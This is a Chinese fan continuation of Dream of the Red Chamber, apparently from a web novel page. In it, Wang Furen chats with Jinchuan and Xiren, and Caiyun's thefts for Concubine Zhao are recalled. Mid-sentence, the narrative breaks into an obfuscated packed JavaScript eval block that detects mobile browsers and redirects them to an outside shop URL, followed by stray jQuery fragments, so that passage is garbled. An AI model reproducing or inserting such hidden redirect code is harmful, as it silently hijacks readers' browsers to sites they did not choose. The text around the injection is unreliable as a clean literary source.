晴雯送还了潇湘馆的盘子，袭人却也依言要去将属于怡红院的那一只取回来，一时果然寻了个空儿，出园子一路行到王夫人正房来。


    王夫人昨日新得了一件六色穿珠梅花的盆景儿，玲珑剔透，难得又做得巧夺天工、枝桠分明，据说是地方上做了进上的，因贤德妃贾氏恩宠日隆，旁人没有不肯巴结的，是以一件送进宫，一件则送来了荣国府，装在一方精工景泰蓝的花盆里，端的是贵重不俗。


    王夫人命金钏儿将盆景仔细安放在案上，自己斜靠在软榻上，一面慢慢捻着念珠儿，一面眯着眼瞧着，半晌才慢悠悠地道：“再过月余，外头也可赏梅花儿了，那花儿虽然清艳耐寒，只可惜仍旧不长久，总有个谢了的时候，如此一想，到底不如这水晶玛瑙穿就的，又干净、又耐看、又贵重。”


    如今秋深近冬，万物收藏，景致上虽是日渐萧索，却也有一件好处——困扰王夫人日久的燥热难捱之症已得缓解，再坚持配服王太医所开调理之药，盗汗晨僵之症减轻，夜里也多能睡得安稳了，她的心情也自舒展了许多。


    见太太高兴，金钏在旁笑道：“水晶花儿自有水晶花儿的好处，新鲜花儿也有新鲜花儿的好处。等太太瞧腻了这水晶花儿，咱们再瞧那新鲜花儿。待得园子里的梅花儿开了，总是先拣好的、紧着太太这里次第送来的。总是太太好福气，得老爷敬重、二爷孝顺，只要太太高兴，凭它什么花儿，鲜的、干的、金的、银的、水晶的，都要给您送了来的，怕不比王母娘娘的案上还热闹呢。”


    王夫人听了，心里很是高兴，目光虽然还驻在盆景上，面上却已微微地笑起来。


    她笑着睨了一眼金钏，道：“你这丫头，回来不许你往你二奶奶那里去了，从前也是个最老实的孩子，被她带累了，如今嘴上越发油滑起来，伶牙俐齿的，只会哄着我高兴。”


    金钏笑道：“太太高兴、咱们就高兴，便是不会说的，少不得也得找些话来说呢，真有二奶奶那般好口才就好了，我是不敢比的。”一面给王夫人换过茶来。


    王夫人将茶盏拿在手里，随口问道：“怎么不见彩云？”


    金钏在心内一叹，面上却丝毫不露，从容回道：“回太太，今儿不是她当值，想来多半是在后面指点小丫头们做活计呢。太太要寻她？我即刻去唤她来。”


    王夫人随意摆摆手，微微一笑，道：“不必了，我没什么事。做活计？我看未必，只怕是又到赵姨娘那屋里去了罢，赵姨娘如今月份大了，人家都避之不及的，她倒走动得勤。”


    金钏心下一凛，想不到自己几人一向里费尽心思替彩云遮掩，以为好歹要瞒过太太，谁知——太太竟然什么都知道。


    说来也真让人感慨，她们几个与彩云都是一处长大的，彩云的心性她们最是了解，那原是个极好、极柔顺的人，却不知是被灌了什么迷魂汤，偏偏一心向着三爷贾环，连带着也同赵姨娘和契，这喜好也实在有些小众了。


    初时彩云也不过是往那边厢房走动得多一些，陪赵姨娘说说话，可后面见赵姨娘母子日子拮据，她心里不忍，先是拿自己的东西贴补，可彩云不过是个丫头，一样是拿分例银子过活的，又能攒下多少体己？赵姨娘便撺掇她将太太屋里一时不在眼前的东西拿些来，总归那屋里是绸山缎海、金雕玉砌的，便一时少个什么，谁也说不清，又打什么紧？太太也使不了那些，不如接济她们这些人，还替太太积功德呢。


    彩云先是不肯，慢慢地却也被赵姨娘说动了，渐渐地也敢于私自藏匿些东西送去，小到针头线脑、大到簪环首饰，多少不论，总能帮衬一点。


    赵姨娘自然是欢天喜地，可彩云到底不是惯做这些事的，总是心里忐忑，可见久也不曾事发，胆子便也越来越大，以为既然太太不在意，白放着总也是霉坏了，不如送给想要的人，也不算辜负了。虽然有些对不起太太，她便在太太跟前儿越发尽心服侍，想着多少能抵偿些了。以至于前儿进上的那香露，太太只给了宝玉，下剩的仍旧都在橱里锁着，贾环眼红了许久，缠着彩云一定要它，彩云缠不过，到底寻空儿偷了一瓶给他，这也算胆大包天了。


    金钏儿等到底顾念从小一起长大的情分，虽都看在眼里，都不肯告发她，却也暗自担心，若是一日事发了，彩云的下场是显见的，时常也拿些话或劝解、或恐吓，希望她回心转意。彩云如何不知小姊妹们的好意，虽是羞愧流泪，却似吃了秤砣一般，一颗心铮铮难移，实在令人无奈又惋惜。


    此刻听见王夫人随口点破彩云的行藏，金钏儿一时语塞，正不知如何接太太的话，正好见袭人从外头进来，连忙回道：“太太，袭人来了。”只一句话，倒恰好解了这眼前的窘迫。


    袭人进来规规矩矩行了礼，王夫人示意免礼，笑道：“你来了，在那儿坐罢。”说着向窗下一指。


    金钏儿连忙给袭人安了座，袭人谦让了一回，方才坐了，笑道：“前日二爷孝敬太太的新鲜菊花儿，太太瞧着可好？只可惜摆不了几日，我先来取回那盘子，回头得了好的，再装了送来。”


    提起宝玉来，王夫人笑意愈浓，点头道：“宝玉有心了。那盘子装那花儿，果然比一般插瓶的还好看些，那样子甚巧，直摆了两三日，越看越是耐看，凡来我这儿看见的，都赞宝玉有孝心，不枉我疼他一场。盘子是金钏儿洗了收起来了，你只问她罢了。”说着向金钏一点头，金钏会意，便入内去取。


    等金钏儿的工夫，袭人坐在那里，可能是到底不惯坐着的缘故，有些没作理会处，便顺口赞两句桌上的盆景儿好看。


    王夫人含笑点头，便与她闲话两句，无非是问宝玉近日起居安否、读何书、吃什么东西等话，这都是袭人本分内的事，一时都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376146|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从容答了。


    见她答得细致，其中周到妥帖之处，是旁人再难及的，王夫人更是满意，自觉眼光不错，脸上笑容也越发温和慈祥起来。


    不多时，金钏儿果然取了盘子来，一样也用锦盒装了，先给王夫人看了一眼，跟着便递给袭人，袭人连忙起身接了。


    王夫人便叹道：“到底是你细心，这些零碎的东西，多亏有你替他一样一样地想着。否则，他那屋里不知成个什么样子，让人搬空了也不知道，丢三落四的，那些懒丫头们也不上心。”


    袭人将匣子托在手里，笑道：“我从来是个最笨的，及不上她们的地方还多，也只好在这些小事上多用些心了，不过是看屋子、看东西，别的也不大得力。”


    王夫人微笑道：“唔？那些‘聪明’的，难道就是真聪明了？依我看，就是要笨笨的才好，宝玉也正需得你这样一个人在房里，我很放心。”


    袭人听了这一句赞，也颇有志同道合之念，只是低头微笑不语。


    王夫人轻轻抿了一口茶，指着袭人手里的匣子，道：“不止这些小物件儿，还有前儿老太太给宝玉那件衣裳，金翠辉煌的，叫个什么——”一面看向金钏儿。


    金钏儿忙接口道：“‘雀金呢’，又或叫‘雀金裘’的。”


    王夫人点点头，道：“对——‘雀金呢’，这件衣裳，你也当心些。宝玉的毛病儿，你是知道的，凡事都是头几日新鲜，他心里喜欢，自然想要出外显弄显弄，这几日只怕不论上哪儿也要穿了它去，那如何使得？倘或在不看见的地方叫火星子燎了，或是叫什么给勾了丝、划了线去，可就糟了。这又不比那内造的，便是再金贵，总也有法子调理，我们也不担心了。那却是头几年从西洋番邦什么地方贡来的，我也记不真切了，一向在老太太那儿收着，这也罢了，到底还是落在他手里了。若真闹得坏了，如今一时半刻，也寻不来那西洋的裁缝来修补它，岂不白糟蹋了好东西，教老太太瞧见了，也不免可惜，到底觉出不稳重来。”


    袭人忙道：“可不正是太太说的这样。也难怪二爷喜欢，那大衣裳实在是难得，自拿了回去，我们也仔细瞧了那纹理针脚，都是叹服的，怎么就能织得那样巧？又是用孔雀毛、又糅了金线，无怪那样鲜亮了，叫人移不开眼。我原只劝二爷穿着它在园子里逛逛也罢了，好歹跟着伺候的人能留心，谁知他今儿出门去也说穿那个，外头的小子们哪里瞧得住，我只是再三地劝，无奈劝不住，说不得，也只好每日检视得勤些儿也罢了。”


    这倒十足是宝玉的行事，王夫人不禁摇头笑道：“这个孩子啊，一旦喜欢起什么来，便是千金、万金，他也不放在眼里，可等过两日兴致过了，丢到脑后，又全不当一回事了，真也拿他没有法子，他若不生在我们这样人家里，也不至于此了。回头我再替他早晚念一篇经，修修他的福。”